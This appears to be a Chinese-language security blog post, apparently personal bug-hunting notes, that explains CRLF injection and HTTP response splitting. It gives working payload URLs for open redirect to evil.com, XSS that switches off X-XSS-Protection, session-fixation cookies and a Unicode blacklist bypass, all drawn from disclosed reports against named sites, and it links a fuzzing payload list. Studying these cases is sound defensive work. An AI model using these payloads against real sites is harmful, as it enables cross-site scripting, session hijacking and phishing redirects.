CRLF注入

😣总结些前端的姿势,寒假挖洞…

CRLF介绍

CRLF全称”Carriage-Return Line-Feed”,即”回车换行”.

含义 转义序列 ASCII Unicode
回车(CR) \r 13 \u000D
换行(LF) \n 10 \u000A

CRLF来自于电传打印机,

在行末尾时,CR命令让打印头回到左边起始位置,LF命令使纸张向前移动一行.

在计算机程序以及协议中,CRLF仍被沿用.

在windows操作系统中,CR和LF用来标志行的结束,而在Linux/UNIX系统中,只需要LF即可.

不同系统中换行的区别,

换行 系统
CR+LF Microsoft Windows, DEC TOPS-10, RT-11 and most other early non-Unix and non-IBM OSes, CP/M, MP/M, DOS (MS-DOS, PC-DOS, etc.), Atari TOS, OS/2, Symbian OS, Palm OS
LF+CR Acorn BBC and RISC OS spooled text output
CR Commodore 8-bit machines, Acorn BBC, TRS-80, Apple II family, Mac OS up to version 9 and OS-9
LF Multics, Unix and Unix-like systems (GNU/Linux, AIX, Xenix, Mac OS X, FreeBSD, etc.), BeOS, Amiga, RISC OS, and others.

协议层的CRLF

在许多互联网协议中,CRLF被用来表示行的终止,例如HTTP,SMTP,FTP等

例如在HTTP协议中,响应头字段间用一个CRLF分隔,响应头和响应体之间用两个CRLF分隔.

FTP协议中也使用CRLF作为命令分隔,

CRLF注入攻击

CRLF注入也被称为响应头拆分,通过在HTTP响应头中注入”CR-LF”来控制HTTP响应包.通常有以下几种利用方式:

  • 开放重定向
  • XSS
  • 会话固定

开放重定向

通过在HTTP头里注入”Location”字段来实现任意跳转.

1
http://test.com/?arg=%0aLocation:%20http://evil.com
1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily
Date: Fri, 29 Jun 2017 18:52:17 GMT
Content-Type: text/html
Content-Length: 159
Connection: close
Location: http://evil.com

XSS

在HTTP响应包中,响应头和响应体之间用两个”CR-LF”分隔,也就是说,只要注入两个”CR-LF”,我们就能控制响应体的内容.

自然插入XSS代码就很简单了.

HTTP响应头拆分通常被认为是比XSS危害更严重的漏洞,因为攻击者还能通过修改响应头,绕过浏览器的XSS防护.

例如星巴克的一个洞,

1
http://newscdn.starbucks.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

把”X-XSS-Protection”的值改成了”0”,浏览器不会启用xss filter.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://news.starbucks.com/
Content-Length:35
X-XSS-Protection:0
23
<svg onload=alert(document.domain)>
0

会话固定

通过注入Set-cookie字段,为受害者设置恶意的cookie,

1
http://test.com/?arg=%0d%0aSet-cookie:JSPSESSID%3Devil
1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily
Date: Fri, 29 Jun 2017 18:55:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Set-cookie: JSPSESSID=evil

SSRF中的运用

以前看到CRLF to RCE,还以为真是CRLF能变成RCE.后来才知道其实是CRLF在SSRF中能起到辅助作用,

比如一个SSRF,只能发送GET请求,那么怎么打redis这种服务(需要换行来分开每条命令),这时候如果再来个CRLF,就能起到雪中送炭的作用.能过注入CRLF来传入命令,从而导致RCE.

前提是SSRF使用的请求库存在CRLF注入.

挖掘思路

🎈寻找可以控制响应头的输入点

从hackerone的报告来看,这个洞的频率还挺高.

一类是服务器配置的锅(例如nginx做了自动跳转,配置文件又没写对),这种情况测的时候直接在跟目录下写payload,

1
http://doc.owncloud.org/%23%0dSet-Cookie:crlf=injection;domain=.owncloud.org;

另一类是代码层的,有明确的参数去接收用户提交的值并用来设置header,这种就比较容易发现了,常见于设置cookie,language,location的地方.

1
https://trello.com/1/authorize?response_type=token&key=41257716bae3f0f35422a228fbd18c97&response_type=token&return_url=%0d%0aheader:%20text/html&scope=read,write,account&expiration=never&name=Trello%20for%20Chrome

一些案例

  • CRLF injection on Twitter or why blacklists fail

    在这个案例中,twitter用黑名单(0A)对输入做了过滤,但在输出到响应头的时候没有过滤.

    “嘊”的unicode码为”U+560A”,对应的URL编码为”%56%0A”,UTF编码为e5 98 8a,url编码为”%E5%98%8A”.

    传入”%E5%98%8A”就能绕过黑名单对”0A”的检测.twitter会先解码为unicode,然后输出到响应头中.

    1
    %E5%98%8A => U+560A => 0A
  • Overflow Trilogy

    设置超长的cookie,然后服务器处理超过8kb的响应头就会有问题了.​

Payloads

@cujanovic总结了一份CR-LF注入的一些常用payload,测试的时候可以用来fuzz.

https://github.com/cujanovic/CRLF-Injection-Payloads/blob/master/CRLF-payloads.txt

Refer

Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS

新浪某站CRLF Injection导致的安全问题